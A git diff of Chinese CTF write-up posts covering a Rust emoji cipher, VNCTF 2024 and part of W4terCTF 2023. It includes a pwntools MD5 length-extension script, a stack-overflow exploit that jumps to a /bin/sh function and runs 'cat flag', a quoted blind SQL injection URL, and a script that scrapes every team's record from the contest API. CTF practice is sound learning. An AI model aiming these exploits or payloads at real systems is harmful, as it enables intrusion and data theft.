+`main.rs` + +``` rust +mod util; + +use std::error::Error; +use std::io::{self, Read, Write}; + +fn main() -> Result<(), Box> { + let key = util::generate_key(b"\xF0\x9F\xA6\x80")?; + // [93, 129, 173, 248, 234, 102, 108, 239, 45, 66, 196, 204, 221, 97, 143, 181] + + print!("👉 Enter your flag: "); + io::stdout().flush()?; + let mut flag = vec![0u8; 48]; + io::stdin().read_exact(&mut flag)?; + + let enc = util::encrypt_flag(flag, &key)?; + let enc = util::make_emoji_string(enc); + + println!("{}", enc); + + if util::check_flag(&enc) { + println!("🥳 You got it!"); + } else { + println!("🤯 Try again!"); + } + + Ok(()) +} + +``` + +`util.rs` + +``` rust +use std::str::Chars; +use openssl::error::ErrorStack; +use openssl::hash::{hash, MessageDigest}; +use openssl::symm::{encrypt, Cipher}; + +struct Target(u8, String); + +const BOX: [u8; 64] = [ + 18, 15, 40, 10, 41, 36, 62, 23, 34, 12, 58, 57, 39, 46, 17, 7, 47, 44, 30, 26, 31, 14, 4, 19, + 21, 61, 11, 3, 5, 55, 37, 28, 53, 27, 13, 9, 49, 25, 54, 33, 42, 16, 24, 0, 1, 43, 32, 6, 50, + 63, 52, 48, 22, 45, 51, 2, 20, 59, 60, 29, 8, 35, 56, 38, +]; + +const TARGET_EMOJIS: &str = "😷😯😞😻😞😊😏😡😷😅😉😙😜😤😮😘😑😮😨😭😬😺😒😊😙😳😎😧😜😡😝😜😶😤😤😸😫😳😦😴😿😈😫😹😑😨😽😒😡😦😧😺😷😖😐😶😘😭😞😠😑😁😧😮😣😮😳😄😣😗😦😑😝😭😛😱😯😄😍😒😻😠😝😂😮😳😟😷"; + +impl Iterator for Target { + type Item = char; + + #[inline(never)] + fn next(&mut self) -> Option { + let len = self.1.len(); + if self.0 as usize >= len { + return None; + } + let mut new_string: Vec = vec![]; + for c in self.1.chars() { + new_string.push( + char::try_from( + c as u32 & 0xFFFFFFC0 + | ((BOX[(c as u32 & 0x3F) as usize] + self.0) as u32 & 0x3F), + ) + .unwrap(), + ); + } + self.1 = String::from_iter(new_string.clone()); + self.0 += 1; + Some(new_string[(self.0 - 1) as usize]) + } +} + +#[inline(never)] +pub fn generate_key(data: &[u8]) -> Result, ErrorStack> { + let mut data = Vec::from(data); + for _ in 0..202410 { + data = Vec::from(&*hash(MessageDigest::sha512(), &data)?) + .chunks(4) + .map(|x| x[0] ^ x[1] ^ x[2] ^ x[3]) + .collect(); + } + Ok(data) +} + +#[inline(never)] +pub fn encrypt_flag(msg: Vec, key: &Vec) -> Result, ErrorStack> { + let mut iv = key.clone(); + iv.reverse(); + encrypt( + Cipher::sm4_cbc(), + key, + Some(&iv), + &msg, + ) +} + +#[inline(never)] +pub fn make_emoji_string(flag: Vec) -> String { + let mut v = String::new(); + for d in flag.chunks(3) { + let d = match d.len() { + 1 => &[d[0], 0, 0], + 2 => &[d[0], d[1], 0], + _ => d, + }; + [ + d[0] >> 2, + d[0] << 6 >> 2 | d[1] >> 4, + d[1] << 4 >> 2 | d[2] >> 6, + d[2] << 2 >> 2, + ].map(|b| v.push(char::try_from(b as u32 & 0x3F | 0x1F600).unwrap())); + } + v +} + +#[inline(never)] +pub fn check_flag(enc: &String) -> bool { + let mut iter = enc.chars(); + let mut target = Target(0, String::from(TARGET_EMOJIS)); + let xor = + |x: &mut Chars, y: &mut Target| x.next().unwrap() as u32 ^ y.next().unwrap() as u32; + for _ in 0..88 { + if xor(&mut iter, &mut target) != 0 { + return false; + } + } + true +} + +``` + +# 附用到的 Unicode 转换细节 + +这部分算 Misc,仅供感兴趣的师傅阅读。解本题时不需知道。 + +有的师傅可能注意到了,本题中 emoji 有时候表现为 0x1F6?? 的形式,有时候表现为 0xF09F98?? 的形式。 + +实际上前者为该码点在 Unicode 全表中从 0 开始的序号(这个表不是完全连续的),后者为 UTF-8 变长编码。 + +![](../../wp/shctf-2024-rust/image52.webp) + +单个码点的编号用 u32 可以存得下,但是它不符合前缀码规则,不能放进字节数组当成字符串。 + +以🦪(U+1F9AA)为例,如果在数组中,它可以被解释为单个码点,也可以被解释为一个 0x1F9 和一个 0xAA,或者一个 0x1,一个 0xF9,一个 0xAA,等等。 + +1F9AA(11111 100110 101010)可以用以下变长编码(UTF-8)表示: + +**11110**000 **10**011111 **10**100110 **10**101010 + +最前面的 11110 表示接下来这个字符占 4 个字节,如果是汉字(3 个字节)则最前面是 1110。后面每个字节都以 10 开头。 + +![](../../wp/shctf-2024-rust/image53.webp) + +UTF-8 每个字符长度为 8 位的倍数,UTF-16 每个字符长度为 16 的倍数,UTF-32 每个字符长度为 16 的倍数。 + +Python、Rust 字符串内部存储采用 UTF-8。 + +.NET、Java 字符串内部存储采用 UTF-16。 diff --git a/source/_posts/wp/vnctf-2024.md b/source/_posts/wp/vnctf-2024.md new file mode 100644 index 0000000..66300e5 --- /dev/null +++ b/source/_posts/wp/vnctf-2024.md @@ -0,0 +1,204 @@ +--- +title: VNCTF 2024 Writeup by LilRan +date: 2024/02/18 12:00:00 +updated: 2024/02/18 12:00:00 +categories: +- CTF-Writeup +cover: ../../wp/vnctf-2024/cover.jpg +--- + +摸了个第三?也顺便加了好多师傅的QQ。隔壁同时进行的SICTF比VNCTF卷多了,在SICTF我还不如新生🤣 + + + +![](../../wp/vnctf-2024/1.png) + +## Reverse + +### TBXO + +用eax和栈实现的控制流,汇编层面动态调试起来,不难找到主要逻辑在sub_9610F4处,写出解密程序。 + +```c +#include + +int main() { + unsigned char cipher[] = + { + 0x10, 0x30, 0x36, 0x31, 0x23, 0x86, 0x93, 0xAD, 0xC5, 0xD4, + 0x92, 0x84, 0x66, 0xE3, 0x67, 0x75, 0x6B, 0x69, 0x86, 0xC7, + 0x31, 0x2E, 0x09, 0xA0, 0x33, 0x57, 0x69, 0xDB, 0x93, 0xA8, + 0x13, 0xDD, 0x3E, 0xA5, 0xD8, 0x88, 0x37, 0x54, 0x84, 0x7E}; + for(int i=0; i<5; i++) { + unsigned int d = 0; + for (int i = 0; i < 32; i++) + d -= 0x61c88647; + unsigned int r = ((unsigned int*)cipher)[2*i+1]; + unsigned int l = ((unsigned int*)cipher)[2*i]; + for(int j=0; j<32; j++) { + r -= ((l + d) ^ ((l << 4) + 0x79645f65) ^ ((l >> 5) + 0x6b696c69) ^ 0x33); + l -= ((r + d) ^ ((r << 4) + 0x67626463) ^ ((r >> 5) + 0x696d616e) ^ 0x33); + d += 0x61c88647; + } + ((unsigned int*)cipher)[2*i] = l; + ((unsigned int*)cipher)[2*i+1] = r; + } + printf("%s\n", cipher); + return 0; +} +``` + +🚩 `VNCTF{Box_obfuscation_and_you_ar_socool}` + +### baby_c2 + +流量中只关注192.168.218.1与192.168.218.129的TCP流量即可,第84条记录有D盘的文件列表(flag.txt为43字节),第121条记录有flag.txt的加密数据(长度43),从流量包本身信息可以知道当天是2月7日。 + +ps1脚本,解base64的部分可以去掉iex然后丢进powershell跑,最后一层是写一个PE文件到`%temp%\169sdaf1c56a4s5da4.bin`。 + +NOP掉40131F处的call和ret、创建函数即可反编译。在405178和405088处会传入文件名,对文件进行加密,然后再传输。 + +~~长度不变的加密方式,猜一个异或,猜一个RC4~~ + +![](../../wp/vnctf-2024/2.png) + +但我没找到RC4的实现在哪里,对405178和405088处逐字节异或日期207后,只得到了无意义递减字节。等一个WP。 + +> 后记: +> +> 一方面是要异或217,另一方面是我IDAPython脚本写错了,get_db_byte写成byte_value了(捂脸) +> +> ```python +> def my_patch(frm, sz, byt): +> for i in range(frm, frm+sz): +> idc.patch_byte(i, idc.get_db_byte(i) ^ byt) +> +> my_patch(0x405088, 234, 217) +> my_patch(0x405178, 206, 217) +> ``` +> +> 然后转换为未定义(U),转换为代码(C),创建函数(P),反编译(F5)。 + +🚩 `vnctf{84976be3-9809-4a3b-9711-51621e388286}` + +## Crypto + +### SignAhead + +套路题,哈希长度扩展攻击 + +直接用https://github.com/JoyChou93/md5-extension-attack ,md5pad.py修改成用pwntools自动交互,Python2运行。 + +```python +import md5py +import hashlib +import struct +from pwn import * + +def payload(length, str_append): + pad = '' + n0 = ((56 - (length + 1) % 64) % 64) + pad += '\x80' + pad += '\x00'*n0 + struct.pack('Q', length*8) + return pad + str_append + +def hashmd5(str): + return hashlib.md5(str).hexdigest() + +context.log_level = 'debug' +c = remote('manqiu.top', 21926) + +for _ in range(100): + c.recvuntil('msg: ') + msg = c.recvline().strip() + c.recvuntil('sign: ') + hash_origin = c.recvline().strip() + + str_append = "LilRan :)" + lenth = 96 + + m = md5py.md5() + + str_payload = payload(lenth, str_append) + + c.recvuntil('msg: ') + c.send(msg) + for i in str_payload: + c.send(hex(ord(i))[2:].zfill(2)) + c.sendline() + c.recvuntil('sign: ') + c.sendline(m.extension_attack(hash_origin, str_append, lenth)) + +print c.recvall() +``` + +![](../../wp/vnctf-2024/3.png) + +🚩 `VNCTF{append_key_instead_of_message#6603db4e}` + +## Misc + +### ez_msb + +GNU Radio,启动! + +原wav数据按位与11111001,flag平铺到00000??0。在wav刚开始零点几秒还没有音乐,直接把flag那条路逆过来走就行,可以得到纯净的flag。后面有音乐的位置就是乱码了,并且不懂各种数据类型是怎么转换的,等一个WP。 + +![](../../wp/vnctf-2024/4.png) + +![](../../wp/vnctf-2024/5.png) + +🚩 `VNCTF{gnuradio_best_radio_3de8b}` + +### LearnOpenGL + +这个好好玩,做得很精致😆 + +透过墙上缺的一个洞可以看见白色的线条,而背景图素材上没有,所以flag图层在背景图和砖块之间。想办法把砖块隐藏。 + +翻文件夹,多次尝试,发现这样patch一下就行。 + +![](../../wp/vnctf-2024/6.png) + +![](../../wp/vnctf-2024/7.png) + +🚩 `VNCTF{T3xtur3_M45t3r_0r_r3v_g405h0u_8703d0ccfef0}` + +### sqlshark + +上次做盲注流量还是在~~上次~~我第一次参加CTF的时候,那时我还手动写了一页A4纸,好怀念啊。这次用b神的轮子了。 + +```python +from FlowAnalyzer import FlowAnalyzer + +pth = FlowAnalyzer.get_json_data('Misc/sqlshark/sqlshark.pcap', 'http') +for count, dic in enumerate(FlowAnalyzer(pth).generate_http_dict_pairs()): + response_num, response_data = dic['response'] + request = dic.get("request") + if not request: + continue + request_num, request_data = request + if b'success!' in response_data and b'leAst' not in request_data: + dat = int(request_data.decode().split(r'%29%29%29%29in%28')[1].split(r'%29%29%29')[0]) + print(chr(dat), end='') + +# admin_p@ssw0rd +``` + +🚩 `VNCTF{admin_p@ssw0rd}` + +### 问卷调查 + +🚩 `VNCTF{wen_juan_diao_cha}` + +## Web + +### Checkin + +出题人电脑的F12按键坏了,你能帮他按一按吗 + +![](../../wp/vnctf-2024/8.png) + +![](../../wp/vnctf-2024/9.png) + +🚩 `VNCTF{W31c0m3_t0_VNCTF_2024_g@od_J0B!!!!}` diff --git a/source/_posts/wp/w4terctf-2023.md b/source/_posts/wp/w4terctf-2023.md new file mode 100644 index 0000000..437bc65 --- /dev/null +++ b/source/_posts/wp/w4terctf-2023.md @@ -0,0 +1,549 @@ +--- +title: 梦开始的地方:W4terCTF 2023 Writeup by 打新手赛打的 +date: 2023/04/14 23:00:00 +updated: 2023/04/14 23:00:00 +categories: +- CTF-Writeup +cover: ../../wp/w4terctf-2023/cover.webp +--- + +这是一个懵懂的年轻人参加的第一场CTF。WP一字不改,发出来给大伙乐一乐。 + + + +![](../../wp/w4terctf-2023/result.png) + +# Misc + +## Check in + +公众号(https://mp.weixin.qq.com/s/g-nS4wYxq_YCGUoL8P3WTw ):`W4terCTF{weIC0Me_tO_` + +赛事详情页(https://ctf.w4terdr0p.team/games/1 ):`th3_4m4z1n6_`(被网页样式隐藏,F12来一下) + +QQ群公告:`W0rId_o1_CTF}` + +![](../../wp/w4terctf-2023/1.png) + +🚩 `W4terCTF{weIC0Me_tO_th3_4m4z1n6_W0rId_o1_CTF}` + +## Weird Letter + +```plaintext +Pqrb HWYif, + + I qiiz gxue doxvtks frhwn leg ivvq dgh hhjn rjh'hq qettbbru tqy xspyfqdosw hj QTO wavybqzxox. Dl ccu thhr, phkbkyluttvy rm t xekourv hrftcnnhm js cmzp MYI vloluygbri, mzu sy'v bqdoantig ja trfj d zscd dhwzeifmennqz st tqy wdsvqdvxy hggfyynbja jqoyxntnig tqum veu gevn. + + Nq vposbcv xeobffqwdilm, tqy Odtuzqio fqw Goebuk xvftqic fux tcpdftm pxautox. Wai Jipygzeu ougrju bw o pxfrvyftmsoylv wibbnbohjuae mnsaif tqum pfue m iouhtxwnp extjedp ky jqvmdhnl ignyzfvhy pxwgapyl. Dg'i m bfgjuyyz ewwktcjuae dtre, fit rn vva rq oikhnxh isrhz aeucgvxhb trolhmbn. Gxq Oroxdk gwpqyk df q eudzqhk wibbnbohjuae mnsaif tqum nuyrfj offa pstcyk da jtq gvflgxsxc vr v syjqu xzpuif oo jhnvjuaec irpr hhn uekuqnqk. Wtgxvb casiobwdmgrd ryjsrb ghmr qphrxhhw ibcasiovez fvmmqbuieb mnxu qe fyo Fgoebcnx Xiphkbkstq Lxonmuky (NUE). MVC nv t wmmvymmvs qztbdsmmcn jfzjeyftd dmdm ygeb u dzl ja qemwbix onm xxxeobf ukyd. Bx'g dnmbbaup ff bjvbwh acntxxi rdfw jyxr hhn ghng qphrxhhw gcmyomzei mzu sx zbhslh olzq ja qemwbix gewmbovlq prdf. Dlcamnnkdp uzoiiuwbsb ib ugjgxqd zwurkxonc ygxeobfzys wxgvnrknz gxmf'j exhw mb CCZ vcnbxqeqjv. Twmmvymmvs qztbdsmmcn dmxn gma wvix, d iyplrw dzl qzp r zwloehe tyr, ob uzoiiuw trr dnwktcj pmkk. Nw'l gcmviggl kequ ss gbkwtjf ldtdmflbjv trr snwnmr saydeslvehixh imbjaofvx. + + Lg gcnlfnnvez, oiiuwhkfaybr df q rmjmnqtxwnp ugy pxmxcosjbru sdvczpj ftrd'x fkmhilue ob SFR trfoeibgnm. Pcrjtqi itx'ki bef nh XGV ad rx jaiifinhvzq SFRvb, zqwifscugyvds fyo ilyjsrnhm zasdkgdnrg xscqhblhue uj oxvxrhijf mj fkoovoi lg xveby vcnbxqeqjv. Disp nrigbhuzx ksg aeje oog xeqowzxl wasge lcicrhe! + + Kfew ieeu ib Q4mzeSFR fzjq uvocn OGmNLqx lxihkpwnn naZ hdpqivnqx wsCA37 ogyrhxueo GXKpSd dhwzebuzv sS xghsrucgz sHq9G3emd fesge kltxr. + +Rqek bjjtvrs, +Ml. 0i +``` + +### 解题过程 + +观察密文,有几处出现`xxx'x`,猜测是英文单词等长变换而来; + +只有一个字母的单词(`a`/`I`)变成了不同的字母,猜测是维吉尼亚密码(Vigenere)。 + +![](../../wp/w4terctf-2023/2.png) + +在不知道密钥长度的情况下,使用在线工具(https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx )解密: + +![](../../wp/w4terctf-2023/3.png) + +在线工具认为密钥长度为96,解密后的“明文”有部分内容与正确的明文较接近。观察所用的密钥,几乎是16个字符被重复6次。于是调整密钥长度为16,再次使用在线工具(https://www.guballa.de/vigenere-solver )解密: + +![](../../wp/w4terctf-2023/4.png) + +此时得到了正确的密钥、明文和flag。 + +🚩 `W4terCTF{UNrAVel_thE_seCR37_BURlEd_iN_fRe9U3ncy}` + +## Good QRCode + +![](../../wp/w4terctf-2023/5.png) + +### 解题过程 + +首先发现**不同实例**给出的二维码除“格式信息”(Format Information,下图蓝色区域)不相同外,其余部分均相同。于是猜测,只是把正常二维码的格式信息改乱了,所以无法识别。 + +![](../../wp/w4terctf-2023/6.png) + +![](../../wp/w4terctf-2023/7.png) + +二维码有复杂的纠错机制,但是对于格式信息和版本信息,仅仅采用了重复两遍的方法防止错误。“格式信息对不上就无法识别”是成立的,可以尝试扫下面的二维码(正常生成左边,然后改出右边): + +![](../../wp/w4terctf-2023/8.png) + +格式信息只有32种(https://www.thonky.com/qr-code-tutorial/format-version-tables ),可以手动逐一尝试🤡。可以通过Windows画图的填充工具和Ctrl+Z,快速对下图进行操作。 + +![](../../wp/w4terctf-2023/9.png) + +手动尝试32次都扫不出来,说明**以上做法有误,现在请忘掉上面的做法**。😜 + +题目上的提示是后来补上的。生成二维码的步骤:https://www.bilibili.com/read/cv684169 ,现在已经得到一个像模像样的二维码,差的就是掩码这一步了。 + +掩码有8种,这可不是孔乙己,而是为了避免出现大片黑/白或者类似“码眼”的结构。但实际上,使用了任何一种掩码,只要格式信息对得上,都是可以被正确识别的。 + +![](../../wp/w4terctf-2023/10.png) + +于是现在有两种做法:一是直接把二维码内容读出来;二是继续加上掩码然后再识别。你选哪种? + +我选第二种,并且采用0号掩码,因为好算。 + +我不会写Python,但是看了Bad QRCode题目的附件,又觉得PIL库很好用。以下程序是用Cursor软件写的,这个编辑器里面可以直接用GPT: + +```python +from PIL import Image + +img = Image.open('qrcode.png') + +arr = [[0 for _ in range(61)] for _ in range(61)] + +def isFunctionRegion(x,y): + if (x==6) or (y==6) or (x<=8 and y<=8) or (x>=50 and y<=6) or (y>=50 and x<=6) or (x>=53 and y==7) or (y>=53 and x==7): + return True + else: + return False + +# read source image +for x in range(61): + for y in range(61): + if img.getpixel((x*13+33, y*13+33)) == 0: + arr[x][y] = 0 + else: + arr[x][y] = 255 + # mask + if (isFunctionRegion(x,y)==False) and ((x%2==0 and y%2==0) or (x%2==1 and y%2==1)): + arr[x][y] = 255 - arr[x][y] + +# format information 001011010001001 这里的第一维x向右为正 第二维y向下为正 +arr[0][8]=arr[1][8]=arr[3][8]=arr[7][8]=arr[8][7]=arr[8][5]=arr[8][4]=arr[8][2]=arr[8][1]=arr[8][60]=arr[8][59]=arr[8][57]=arr[8][54]=arr[59][8]=arr[58][8]=arr[56][8]=arr[55][8]=arr[54][8]=255 +arr[2][8]=arr[4][8]=arr[5][8]=arr[8][8]=arr[8][3]=arr[8][0]=arr[8][58]=arr[8][56]=arr[8][55]=arr[60][8]=arr[57][8]=arr[53][8]=0 + +# Create a new 1-bit image +img = Image.new('1', (845, 845)) + +# Iterate through the array and set the corresponding pixel in the image +for y in range(61): + for x in range(61): + for a in range(13): + for b in range(13): + img.putpixel((x*13+a+26, y*13+b+26), arr[x][y]) + +# border +for x in range(845): + for y in range(845): + if x<26 or x>=845-26 or y<26 or y>=845-26: + img.putpixel((x, y), 255) + +img.save('output.png') +``` + +二维码内容每个码元(小方块)用1个布尔值表示,1为黑色,0为白色。原图像每个像素用1个整数表示,取值为0~255,0为黑色,255为白色。(而RGB用3个整数,RGBA(含不透明度)用4个整数。) + +在进行0号掩码时,对应x和y奇偶性相同的小方块用反码(即与黑1异或),相反的小方块用原码(即与白0异或)。反码操作直接写成被255减:255-0=255,255-255=0。 + +功能区域不进行掩码,“小码眼”属于功能区域,本来不应该添加掩码。但我懒得再写判断条件,反正加上掩码之后也能识别出来。 + +程序输出: + +![](../../wp/w4terctf-2023/11.png) + +🚩 `W4terCTF{gOOD_dEcoDeR_caN_rEad_nakEd_Qr-cod3_WItHouT_mAsK}` + +## Shadow + +### 解题过程 + +上nc,把内容保存为文件。 + +```bash +nc ctf.w4terdr0p.team 8888 -o shadow.txt +``` + +![](../../wp/w4terctf-2023/12.png) + +然后就可以看到隐藏的flag了。 + +![](../../wp/w4terctf-2023/13.png) + +🚩 `W4terCTF{sHAD0W_IN_thE_LiGHT_fAUI7_iN_7hE_R19HT}` + +## Spam 2023 + +![](../../wp/w4terctf-2023/14.png) + +### 解题过程 + +~~密文似乎说来说去都是那几句话,~~ 所以取密文中的一句话`We are a BBB member in good standing`进行百度搜索,找到了类似的内容,及加/解密方式:[https://spammimic.com/](https://spammimic.com/) + +从Dear Colleague开始复制,spammimic解密结果: + +```plaintext +26dp26dp58PA5eC(9NY5494#-dP$5eT'4%3d980638p&6%j44&0&5&P+08P@99*&@&*24dBh8891@M9C4c9549*%0NP'8d&1@P4+9dG"4NjB9&T24&C&5&K60P9"0P&)0%**0N3b08j64%Nd4$GC5! +``` + +![](../../wp/w4terctf-2023/15.png) + +长度为150字符,特征是含有较多的特殊字符`@!"#$%&'()*+-`,较少的小写字母(只出现了c d e h j p)。由提示可知是BinHex编码,文档:http://files.stairways.com/other/binhex-40-specs-info.txt + +尝试对前4个字符`26dp`进行解码: + +![](../../wp/w4terctf-2023/16.png) + +恰好得到3个`00111101`,也就是ASCII的`=`。 + +1个26dp对应3个=,2个26dp对应6个=,6个=明显是base32的特征。 + +写一个C程序完成后续解码,并前后翻转(因为base32的6个=在末尾): + +```c +#include +#include + +int main() { + + char ind[200] = {0}; // 存放逐个字符的BinHex索引 + char convert[200] = {0}; // 存放解码后的字符串 + char reverse[200] = {0}; // 将解码后的字符串前后翻转 + + char* key = "!\"#$%&'()*+,-012345689@ABCDEFGHIJKLMNPQRSTUVXYZ[`abcdefhijklmpqr"; + char* code = "26dp26dp58PA5eC(9NY5494#-dP$5eT'4%3d980638p&6%j44&0&5&P+08P@99*&@&*24dBh8891@M9C4c9549*%0NP'8d&1@P4+9dG\"4NjB9&T24&C&5&K60P9\"0P&)0%**0N3b08j64%Nd4$GC5!"; + + // 填充ind + int i=0; + while(code[i]) { + ind[i] = strchr(key,code[i]) - key; + i++; + } + + // 填充convert + for(int j=0; j<=50; j++) { + int x = j * 3; + int y = j * 4; + convert[x] = (ind[y]<<2) + (ind[y+1]>>4); + convert[x+1] = (ind[y+1]<<4) + (ind[y+2]>>2); + convert[x+2] = (ind[y+2]<<6) + (ind[y+3]); + } + + // 填充reverse + int len = strlen(convert); + for(int i=len-1; i>=0; i--) { + reverse[i] = convert[len-1-i]; + } + + puts(reverse); + return 0; +} +``` + +程序输出: + +```plaintext +HY7D4IDSN52D6IB4HQ6AU6SXHEVDOZTXNFAGWJTZNASFI6DRER5GY5ZNEQ7FGORXERUVI5JYHESDQNLEOASCU4DDFZKCI3BTERKVGVKWII====== +``` + +然后base32解密得到: + +```plaintext +>>> rot? <<S:7$iTu89$85dp$*pc.T$l3$USUVB +``` + +第二行是ROT(旋转)加密,但不知道旋转位数(偏移量)。尝试对ASCII使用不同的偏移量,偏移量为59时得到flag。 + +![](../../wp/w4terctf-2023/17.png) + +依次进行了spam、BinHex、base32、ROT59四次解密。 + +~~对于这道题,我的评价是:买(sang)壹(xin)送(bing)叁(kuang)~~ + +🚩 `W4terCTF{HaVE_1UN_WITh_y0ur_F1Rst_spAM_eM@i1_In_2023}` + +# Pwn + +## What is NetCat + +(题面链接:[netcat的使用 - Lmg66 - 博客园](https://www.cnblogs.com/Lmg66/p/13811636.html)) + +![](../../wp/w4terctf-2023/18.png) + +🚩 `W4terCTF{WeIComE_TO_tHe_tHrlIIln9_GAmE}` + +## Tic-Tac-Toe Level 0 + +运行这个Python程序,flag就出现了。好的,下一题(不是) + +```python +from pwn import * +c=remote("ctf.w4terdr0p.team",8888) +for i in range(8): + c.recvline() +c.sendline("4") +for i in range(15): + c.recvline() +c.sendline("5") +for i in range(15): + c.recvline() +c.sendline("3") +c.recvline() +c.recvline() +c.send('a' * 0x14 + 'bbbb') +c.sendline(p32(0x08049236)) +c.sendline("cat flag") +c.interactive() +``` + +题目和[栈溢出原理 - CTF Wiki](https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/)基本一致,这里就不复制粘贴一遍了。 + +用IDA反编译附件,在字符串视图可以看到`"/bin/sh"`,找到使用该字符串的函数是`success`,目标地址是`0x08049236`,如下图。 + +![](../../wp/w4terctf-2023/19.png) + +找到可以造成栈溢出的函数,确定需要填充字符(字节)的长度为14,如下图。所以输入是`'a' * 0x14 + 'bbbb' + p32(0x08049236)`。 + +![](../../wp/w4terctf-2023/20.png) + +需要在井字棋游戏中获胜,程序运行到输入名字。经过几轮正常游戏,总结规律写出上文的Python程序,运行得到flag。 + +![](../../wp/w4terctf-2023/21.png) + +🚩 `W4terCTF{IE7'S_pLaY_wlth_yOuR_1IRSt_PwNlNg_cH4lleNg3_of_7Ic-7aC-70e}` + +# Web + +## The Moment of Token + +### 解题过程 + +根据注释,要让当前时间戳与密码的整数距离小于5。 + +![](../../wp/w4terctf-2023/22.png) + +于是写一行JavaScript放在浏览器书签(我的QQ浏览器好像不能直接在地址栏输入这行JavaScript来运行),F12给表单加上id,点击书签,以便登录成功: + +![](../../wp/w4terctf-2023/23.png) + +```javascript +javascript:document.getElementById("password").value=String((new Date()).valueOf());document.getElementById("aaa").submit(); +``` + +![](../../wp/w4terctf-2023/24.png) + +登录前后,使用Fiddler抓包,在Cookies处看到“转瞬即逝”(前面和后面都没有出现)的token: + +![](../../wp/w4terctf-2023/25.png) + +```plaintext +token=eyJhbGciOiJIUzI1NiJ9.eyJnaWZ0IjoiSzQySElaTFNJTktFTTZaWEpCU1Y2VExQTlVaVzRWQzdONVRGNk5aUU5OQ1c0WFpSS05QVU1NS0ZJVjJHU1RSV0w1UkZLVkM3S0JaRUtRMkpKNTJUSzdJPSIsInVzZXJuYW1lIjoiIn0.P2HVls2s53LWvCP5F_dHepbvjalwJswZ2aBk8pMdJEo +``` + +使用[https://cyberchef.org](https://cyberchef.org/),**自动识别**加密方式并解密(进行两次),优雅地得到flag: + +![](../../wp/w4terctf-2023/26.png) + +![](../../wp/w4terctf-2023/27.png) + +🚩 `W4terCTF{7He_Mom3nT_of_70kEn_1S_F1EEtiN6_bUT_PrECIOu5}` + +# Reverse + +## Lazy Puts + +~~都来打CTF了,我甚至还没有装过Linux~~ + +无所谓,十六进制编辑器(如010 Editor,WinHex等)会出手🐶 + +![](../../wp/w4terctf-2023/29.png) + +🚩 `W4terCTF{1'll_tEll_y0U_THe_TrUTH_WHen_I_wAke_up}` + +# Forensics + +## USB Hacker + +### 解题过程 + +用WireShark打开附件,逐条数据查看Leftover Capture Data。 + +![](../../wp/w4terctf-2023/30.png) + +第一个字节为`02`或`20`表示Shift被按下,第三个字节按照映射表转换可得到输入的字符。 + +映射表:https://usb.org/sites/default/files/documents/hut1_12v2.pdf ,第53页。 + +有两点需要注意(网上的一些脚本就没有注意,导致答案错误): + +1. 一般情况下Shift和其他键不是同时松开(弹起)的。如果先松开的是Shift,有可能识别错误。 + +![](../../wp/w4terctf-2023/31.png) + +1. Caps Lock只对26个字母产生影响。 + +![](../../wp/w4terctf-2023/32.png) + +最后还是人工转换完了全部数据。 + +![](../../wp/w4terctf-2023/33.jpg) + +🚩 `W4terCTF{yoU_@R3_Th3_MaST3R_o1_USB_tR@Ff!C_aN@Iys!s}` + +## 紧急求助 + +![](../../wp/w4terctf-2023/34.png) + +### 解题过程 + +打开截图工具摇晃鼠标,可以发现大部分位置都是纯白(255)的,有少数位置是253和254,这些位置就有水印。 + +![](../../wp/w4terctf-2023/35.png) + +用图片处理软件,调高亮度(对于题目中深色模式下的图片)就可以看到水印了。(插入一条软件推荐:一个安卓版的图片处理软件“Snapseed”,非常简洁,并且可以进行很多操作) + +![](../../wp/w4terctf-2023/36.jpg) + +不懂怎么找API,但是对比赛页面(题目、排行榜、自己的队伍……)F12→网络能看到几个项目,打开来看看。 + +![](../../wp/w4terctf-2023/37.png) + +![](../../wp/w4terctf-2023/38.png) + +实现手机看排行榜自由(不是) + +上面还有个落单的js,打开发现有`/api`字符串。 + +![](../../wp/w4terctf-2023/39.png) + +![](../../wp/w4terctf-2023/40.png) + +有好几个`/api/team`,看得眼花(注:复制到VS Code可以Shift+Alt+F整理格式),直接浏览器打开。 + +![](../../wp/w4terctf-2023/41.png) + +发现是自己队,里面出现了与水印相似的“8-4-4-4-12”结构字符串。自己队id是49,前面看到`/api/team/${n}`,在地址后面加个数字试试。 + +![](../../wp/w4terctf-2023/42.png) + +是50号队。(应该有可以看到全部队伍的api吧?但我没去找了。) + +换成不同的数字,于是知道了范围是1~106(我做题时)。 + +![](../../wp/w4terctf-2023/43.png) + +一个个队看太不划算,写一个批处理脚本,把这些数据全下载到本地。(Windows下的,粘贴到记事本保存为.bat文件,双击即可运行) + +```bash +@echo off +set count=1 +:loop +if %count%==107 goto end +curl https://ctf.w4terdr0p.team/api/team/%count% -o %count%.txt +set /a count+=1 +goto loop +:end +echo "Loop finished" +pause +``` + +运行后,会在脚本相同文件夹下得到106个txt文件。这样就可以用AnyTXT来快速查找了。(插入一条软件推荐:用Everything按照文件名等信息查找文件,用AnyTXT按照文本内容查找文本文件,谁用谁爽。) + +![](../../wp/w4terctf-2023/44.png) + +![](../../wp/w4terctf-2023/45.png) + +🚩 `W4terCTF{WE_HAVe_b4NN3d_7Hi5_USer!_thAnK_Y0U_1Or_YOUR_H3lp!}` + +## Evil Traffic + +### 解题过程 + +一个教程([HTTP - CTF Wiki](https://ctf-wiki.org/misc/traffic/protocols/http/))说用终端命令把URL提取出来。 + +```bash +tshark -r evil.pcapng.gz -T fields -e http.request.full_uri > eviltraffic.txt +``` + +![](../../wp/w4terctf-2023/46.png) + +URL解码([URL解码 URL编码 在线URL解码/编码工具 iP138在线工具](https://tool.ip138.com/urlencode/))一下,把%转义的字符译出来,方便看。用WPS文字删去空行。 + +![](../../wp/w4terctf-2023/47.png) + +保留有flag字样的行,用Excel的分列功能取出有用的数据。(按`>`分列,然后用空白替换掉`CHAR(`和`)`) + +![](../../wp/w4terctf-2023/48.png) + +塞进去一个ASCII映射表,Excel公式把ASCII转换为对应的字符。看到了flag特征的`{` + +![](../../wp/w4terctf-2023/49.png) + +找到flag的开头(W4ter)。会发现flag在 + +`http://10.37.129.2:60080/?id=1 AND SUBSTR((SELECT COALESCE(flag,CHAR(32)) FROM flag LIMIT 1,1),XXX,1)`,每个XXX对应一个字符。 + +![](../../wp/w4terctf-2023/50.png) + +再找另一个教程([某行业攻防培训-----流量分析之-----sql盲注_sql盲注流量分析-CSDN博客](https://blog.csdn.net/qq_45555226/article/details/102809032)),去WireShark过滤出http。 + +![](../../wp/w4terctf-2023/51.png) + 